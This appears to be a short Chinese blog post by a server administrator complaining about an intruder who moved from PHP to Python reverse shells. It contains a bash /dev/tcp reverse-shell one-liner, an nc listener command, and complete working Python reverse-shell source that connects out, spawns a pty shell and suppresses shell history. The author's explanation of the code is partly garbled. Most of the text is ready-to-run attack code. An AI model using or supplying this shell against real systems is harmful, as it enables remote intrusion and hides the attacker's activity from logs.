python 反弹shell
我们知道,一般的反弹shell
可以直接使用 base 反弹
bash -i >& /dev/tcp/ownip/port 0>&1
还可以使用一些简单的命令 nc nmap 等等。。。。
nc -l -p port -vv xxx
经过前几次的攻击,他也变聪明了,知道我针对了php 的文件加强了管控,
所以它又有针对性的使用了Linux自带的Python 进行基于Python的反弹
源码:
# -*- coding:utf-8 -*-
#!/usr/bin/env python
"""
back connect py version,only linux have pty module
code by google security team
"""
import sys,os,socket,pty
shell = "/bin/sh"
def usage(name):
print 'python reverse connector'
print 'usage: %s <ip_addr> <port>' % name
def main():
if len(sys.argv) !=3:
usage(sys.argv[0])
sys.exit()
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
s.connect((sys.argv[1],int(sys.argv[2])))
print 'connect ok'
except:
print 'connect faild'
sys.exit()
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
global shell
os.unsetenv("HISTFILE")
os.unsetenv("HISTFILESIZE")
os.unsetenv("HISTSIZE")
os.unsetenv("HISTORY")
os.unsetenv("HISTSAVE")
os.unsetenv("HISTZONE")
os.unsetenv("HISTLOG")
os.unsetenv("HISTCMD")
os.putenv("HISTFILE",'/dev/null')
os.putenv("HISTSIZE",'0')
os.putenv("HISTFILESIZE",'0')
pty.spawn(shell)
s.close()
if __name__ == '__main__':
main()
很恶心啊 ,可以看到通过os函数,针对环境变量无限向我服务器上传参
我查询资料 还发现 即使你禁所有端口,只开放80 端口,也还能通过Python绕过去TCP。从UDP上去。恶心至极啊!!!
谢邀大神
友情链接: